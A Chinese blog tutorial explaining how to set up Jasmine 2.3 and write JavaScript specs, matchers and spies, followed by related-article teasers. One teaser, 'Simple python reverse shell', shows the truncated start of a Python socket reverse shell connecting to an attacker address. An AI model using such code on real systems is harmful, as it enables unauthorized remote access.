Jasmine 为 JavaScript 提供了 TDD (测试驱动开发)的框架,对于前端软件开发提供了良好的质量保证,这里对 Jasmine 的配置和使用做一个说明。
目前,Jasmine 的最新版本是 2.3 版,这里以 2.3 版进行说明。网上已经有一些关于 Jasmine 的资料,但是,有些资料比较久远,已经与现有版本不一致。所以,这里特别以最新版进行说明。
1. 下载
官网地址:http://jasmine.github.io/
官网文档地址:http://jasmine.github.io/2.3/introduction.html
下载地址:https://github.com/jasmine/jasmine/releases
在 GitHub 上提供了独立版本 jasmine-standalone-2.3.4.zip 和源码版本,如果使用的话,直接使用 standalone 版本即可。
解压之后,可以得到如下所示的文件结构。
其中,lib 中是 Jasmine 的实现文件,在 lib/jasmine-2.3.4 文件夹中,可以看到如下的文件。
打开最外层的 SpecRunner.html ,这是一个 Jasmine 的模板,其中提供了测试的示例,我们可以在使用中直接套用这个模板。其中的内容为:
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>Jasmine Spec Runner v2.3.4</title> <link rel="shortcut icon" type="image/png" href="lib/jasmine-2.3.4/jasmine_favicon.png">
<link rel="stylesheet" href="lib/jasmine-2.3.4/jasmine.css"> <script src="lib/jasmine-2.3.4/jasmine.js"></script>
<script src="lib/jasmine-2.3.4/jasmine-html.js"></script>
<script src="lib/jasmine-2.3.4/boot.js"></script> <!-- include source files here... -->
<script src="src/Player.js"></script>
<script src="src/Song.js"></script> <!-- include spec files here... -->
<script src="spec/SpecHelper.js"></script>
<script src="spec/PlayerSpec.js"></script> </head> <body>
</body>
</html>
可以看到其中引用了 lib/jasmine-2.3.4/jasmine.js, lib/jasmine-2.3.4/jasmine-html.js 和 lib/jasmine-2.3.4/boot.js 三个系统文件,其中 boot.js 是网页情况下的启动文件,在 张丹 的 jasmine行为驱动,测试先行 这篇文章中,要写一个 report.js 的启动脚本,这里已经不用了,直接使用 boot.js 就可以。
页面下面引用的 src/Player.js 和 src/Song.js 是我们的测试对象,而 spec/SpecHelper.js 和 spec/PlayerSpec.js 则是两个对应的测试文件,测试用例就定义在 spec 中。
2. 测试的定义
我们还是直接看示例,
一个是 Song.js,这里定义了一个 Song 的类,通过原型定义了一个persistFavoriteStatus 实例方法,注意,这里还没有实现,如果调用则会抛出异常。脚本如下。
function Song() {
} Song.prototype.persistFavoriteStatus = function(value) {
// something complicated
throw new Error("not yet implemented");
};
另外一个是 player.js,定义了 Player 类,定义了一个歌手,通过原型定义了 play, pause, resume 和 makeFavorite 实例方法。对象有一个 isPlaying 的状态,其中 resume 还没有完成。
function Player() {
}
Player.prototype.play = function(song) {
this.currentlyPlayingSong = song;
this.isPlaying = true;
}; Player.prototype.pause = function() {
this.isPlaying = false;
}; Player.prototype.resume = function() {
if (this.isPlaying) {
throw new Error("song is already playing");
} this.isPlaying = true;
}; Player.prototype.makeFavorite = function() {
this.currentlyPlayingSong.persistFavoriteStatus(true);
};
下面看测试的定义,具体测试的说明,直接加在注释中。
describe("Player", function() {
var player;
var song; beforeEach(function() {
player = new Player();
song = new Song();
}); // 检测正在歌手进行的歌曲确实是指定的歌曲
it("should be able to play a Song", function() {
player.play(song);
expect(player.currentlyPlayingSong).toEqual(song); //demonstrates use of custom matcher
expect(player).toBePlaying(song);
}); // 进行测试的分组,这里测试暂停状态
describe("when song has been paused", function() {
beforeEach(function() {
player.play(song);
player.pause();
}); // isPlaying 的状态检测
it("should indicate that the song is currently paused", function() {
expect(player.isPlaying).toBeFalsy(); // demonstrates use of 'not' with a custom matcher
//
expect(player).not.toBePlaying(song);
}); // 恢复
it("should be possible to resume", function() {
player.resume();
expect(player.isPlaying).toBeTruthy();
expect(player.currentlyPlayingSong).toEqual(song);
});
}); // demonstrates use of spies to intercept and test method calls
// 使用 spyOn 为对象创建一个 mock 函数
it("tells the current song if the user has made it a favorite", function() {
spyOn(song, 'persistFavoriteStatus'); player.play(song);
player.makeFavorite(); expect(song.persistFavoriteStatus).toHaveBeenCalledWith(true);
}); //demonstrates use of expected exceptions
// 异常检测
describe("#resume", function() {
it("should throw an exception if song is already playing", function() {
player.play(song); expect(function() {
player.resume();
}).toThrowError("song is already playing");
});
});
});
使用浏览器直接打开 SpenRunner.html 看到的结果
可以看到测试都通过了。
如果我们将第一个测试 expect(player.currentlyPlayingSong).toEqual(song); 改成 expect(player.currentlyPlayingSong).toEqual( 1 );
测试通不过,显示会变成这样。
3. 语法
3.1 describe 和 it
describe 用来对测试用例进行分组,分组可以嵌套,每个分组可以有一个描述说明,这个说明将会出现在测试结果的页面中。
describe("Player", function() {
describe("when song has been paused", function() {
而 it 就是测试用例,每个测试用例有一个字符串的说明,匿名函数内就是测试内容。
// 检测正在歌手进行的歌曲确实是指定的歌曲
it("should be able to play a Song", function() {
player.play(song);
expect(player.currentlyPlayingSong).toEqual(song);
});
测试结果的断言使用 expect 进行,函数内提供测试的值,toXXX 中则是期望的值。
上面的测试使用 toEqual 进行相等断言判断。
3.2 beforeEach 和 afterEach
示例中还出现了 beforeEach。
var player;
var song; beforeEach(function() {
player = new Player();
song = new Song();
});
顾名思义,它表示在本组的每个测试之前需要进行的准备工作。在我们这里的测试中,总要用到 player 和 song 这两个对象实例,使用 forEach 保证在每个测试用例执行之前,重新对这两个对象进行了初始化。
afterEach 会在每一个测试用例执行之后执行。
3.3 自定义的断言
除了系统定义的 toEqual 等等断言之外,也可以使用自定义的断言,在上面的示例中就出现了 toBePlaying 断言。
//demonstrates use of custom matcher
expect(player).toBePlaying(song);
这个自定义的断言定义在 SpecHelper.js 文件中。
beforeEach(function () {
jasmine.addMatchers({
toBePlaying: function () {
return {
compare: function (actual, expected) {
var player = actual; return {
pass: player.currentlyPlayingSong === expected && player.isPlaying
};
}
};
}
});
});
其中调用了 jasmine 的 addMatchers 函数进行定义,原来这里不叫断言,称为 matcher ,也就是匹配器。
断言是一个函数,返回一个对象,其中有一个 compare 的函数,这个函数接收两个参数,第一个是实际值,第二个为期望的值。具体的断言逻辑自己定义,这里比较歌手演唱的对象是否为我们传递的对象,并且歌手的状态为正在表演中。
断言函数需要返回一个对象,对象的 pass 属性为一个 boolean 值,表示是否通过。
4. 常用断言
4.1 toEqual
深相等,对于对象来说,会比较对象的每个属性。对于数组来说,会比较数组中每个元素。
describe("The 'toEqual' matcher", function() { it("works for simple literals and variables", function() {
var a = 12;
expect(a).toEqual(12);
}); it("should work for objects", function() {
var foo = {
a: 12,
b: 34
};
var bar = {
a: 12,
b: 34
};
expect(foo).toEqual(bar);
});
});
4.2 toBe
对于对象,引用相等。对于值,值相等。
pass: actual === expected
例如
it("and has a positive case", function() {
expect(true).toBe(true);
});
4.3 toBeTruthy
是否为真。
it("The 'toBeTruthy' matcher is for boolean casting testing", function() {
var a, foo = "foo"; expect(foo).toBeTruthy();
expect(a).not.toBeTruthy();
});
4.4 toBeFalsy
是否为假。
it("The 'toBeFalsy' matcher is for boolean casting testing", function() {
var a, foo = "foo"; expect(a).toBeFalsy();
expect(foo).not.toBeFalsy();
});
4.5 toBeDefined
是否定义过
it("creates spies for each requested function", function() {
expect(tape.play).toBeDefined();
expect(tape.pause).toBeDefined();
expect(tape.stop).toBeDefined();
expect(tape.rewind).toBeDefined();
});
4.6 toBeUndefined
没有定义
it("The `toBeUndefined` matcher compares against `undefined`", function() {
var a = {
foo: "foo"
}; expect(a.foo).not.toBeUndefined();
expect(a.bar).toBeUndefined();
});
4.7 toBeNull
it("The 'toBeNull' matcher compares against null", function() {
var a = null;
var foo = "foo"; expect(null).toBeNull();
expect(a).toBeNull();
expect(foo).not.toBeNull();
});
4.9 toBeGreaterThan
it("The 'toBeGreaterThan' matcher is for mathematical comparisons", function() {
var pi = 3.1415926,
e = 2.78; expect(pi).toBeGreaterThan(e);
expect(e).not.toBeGreaterThan(pi);
});
4.10 toBeLessThan
it("The 'toBeLessThan' matcher is for mathematical comparisons", function() {
var pi = 3.1415926,
e = 2.78; expect(e).toBeLessThan(pi);
expect(pi).not.toBeLessThan(e);
});
4.11 toBeCloseTo
it("The 'toBeCloseTo' matcher is for precision math comparison", function() {
var pi = 3.1415926,
e = 2.78; expect(pi).not.toBeCloseTo(e, 2);
expect(pi).toBeCloseTo(e, 0);
});
4.12 toContain
集合中是否包含。
it("The 'toContain' matcher is for finding an item in an Array", function() {
var a = ["foo", "bar", "baz"]; expect(a).toContain("bar");
expect(a).not.toContain("quux");
});
4.13 toMatch
正则表达式的匹配
it("The 'toMatch' matcher is for regular expressions", function() {
var message = "foo bar baz"; expect(message).toMatch(/bar/);
expect(message).toMatch("bar");
expect(message).not.toMatch(/quux/);
});
4.14 toThrow
检测是否抛出异常
it("The 'toThrow' matcher is for testing if a function throws an exception", function() {
var foo = function() {
return 1 + 2;
};
var bar = function() {
return a + 1;
}; expect(foo).not.toThrow();
expect(bar).toThrow();
});
4.15 toHaveBeenCalled
4.16 toHaveBeenCalledWith
是否调用过。
describe("A spy", function() {
var foo, bar = null; beforeEach(function() {
foo = {
setBar: function(value) {
bar = value;
}
}; spyOn(foo, 'setBar'); foo.setBar(123);
foo.setBar(456, 'another param');
}); it("tracks that the spy was called", function() {
expect(foo.setBar).toHaveBeenCalled();
}); it("tracks all the arguments of its calls", function() {
expect(foo.setBar).toHaveBeenCalledWith(123);
expect(foo.setBar).toHaveBeenCalledWith(456, 'another param');
}); it("stops all execution on a function", function() {
expect(bar).toBeNull();
});
});
RequireJS Jasmine 2.0 编写测试
http://ju.outofmemory.cn/entry/96587
使用 Jasmine 进行测试驱动的 JavaScript 开发的更多相关文章
-
TDD测试驱动的javascript开发(3) ------ javascript的继承
说起面向对象,人们就会想到继承,常见的继承分为2种:接口继承和实现继承.接口继承只继承方法签名,实现继承则继承实际的方法. 由于函数没有签名,在ECMAScript中无法实现接口继承,只支持实现继承. ...
-
构建简单的Maven工程,使用测试驱动的方式开发项目
构建简单的Maven工程很简单,这里写这篇随笔的原因是希望自己能记住几个小点. 一.安装Maven 1.下载maven:https://maven.apache.org/download.cgi 2. ...
-
使用模拟对象(Mock Object)技术进行测试驱动开发
敏捷开发 敏捷软件开发又称敏捷开发,是一种从上世纪 90 年代开始引起开发人员注意的新型软件开发方法.和传统瀑布式开发方法对比,敏捷开发强调的是在几周或者几个月很短的时间周期,完成相对较小功能,并交付 ...
-
Scrum敏捷软件开发之技术实践——测试驱动开发TDD
重复无聊的定义 测试驱动开发,英文全称Test-Driven Development,简称TDD,是一种不同于传统软件开发流程的新型的开发方法.它要求在编写某个功能的代码之前先编写测试代码,然后只编写 ...
-
关于测试驱动的开发模式以及实战部分,建议看《Python Web开发测试驱动方法》这本书
关于测试驱动的开发模式以及实战部分,建议看<Python Web开发测试驱动方法>这本书
-
软件工程 - Test-Driven Development (TDD),测试驱动开发
参考 https://baike.baidu.com/item/%E6%B5%8B%E8%AF%95%E9%A9%B1%E5%8A%A8%E5%BC%80%E5%8F%91/3328831?fr=al ...
-
JavaScript开发工具大全
译者按: 最全的JavaScript开发工具列表,总有一款适合你! 原文: THE ULTIMATE LIST OF JAVASCRIPT TOOLS 译者: Fundebug 为了保证可读性,本文采 ...
-
为何说 JavaScript 开发很疯狂
[编者按]本文作者为 Sean Fioritto,主要阐述了 JavaScript 开发为何让人有些无从下手的根本原因.文章系国内 ITOM 管理平台 OneAPM 编译呈现. 网络开发乐趣多多!Ja ...
-
2013年JavaScript开发人员调查结果
JavaScript开发人员调查现在已经结束,一如既往社区对结果进行了进一步分析: 总结(汉语) 原始数据(电子表格) 2012年结果 51%的被参与者写客户端代码,而28%的人说他们编写服务器端代码 ...
随机推荐
-
AJAX-----14HTML5中新增的API---files
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8&quo ...
-
Careercup - Microsoft面试题 - 6282862240202752
2014-05-11 03:56 题目链接 原题: Given an integer array. Perform circular right shift by n. Give the best s ...
-
编写高效的Android代码
编写高效的Android代码 毫无疑问,基于Android平台的设备一定是嵌入式设备.现代的手持设备不仅仅是一部电话那么简单,它还是一个小型的手持电脑,但是,即使是最快的最高端的手持设备也远远比不上一 ...
-
jQery简单Tab选项卡效果
简单的Tab效果 <!DOCTYPE html> <html> <head> <meta charset="UTF-8"> < ...
-
【转】OS X Mavericks: 防止 Mac 进入睡眠 -- 不错
原文网址:https://support.apple.com/kb/PH13808?locale=zh_CN&viewlocale=zh_CN 某些 Mac 电脑将在不活跃一段时间后自动进入睡 ...
-
在Ant Build文件中使用正则表达式替换文件内容
这需要在build文件中使用<replaceregexp>标签, 这个标签的使用大概是这个样子的: <replaceregexp file="${src}/build.pr ...
-
CSS 实现底部固定
在制作页面有这样一种现象:当一个HTML页面中含有较少的内容时,Web页面的“footer”部分随着飘上来,处在页面的半腰中间,给视觉效果带来极大的影响,让你的页面看上去很不好看,特别是现在宽屏越来越 ...
-
Simple python reverse shell
import base64,sys; import socket,struct s=socket.socket(2,socket.SOCK_STREAM) s.connect(('Attack's I ...
-
Python【第一课】 Python简介和基础
本节内容 Python安装(windows) 第一个程序(windows中的python) 变量 字符编码 注释 用户输入 模块初步认识 数据类型 数据运算 表达式if...else 表达式for l ...
-
BZOJ4195 luoguP1955 NOI2015D1T1 程序自动分析
题意:给定n个(xi = xj) 或 (xi != xj) 的条件,问是否可能成立 BZOJ链接:http://www.lydsy.com/JudgeOnline/problem.php?id=419 ...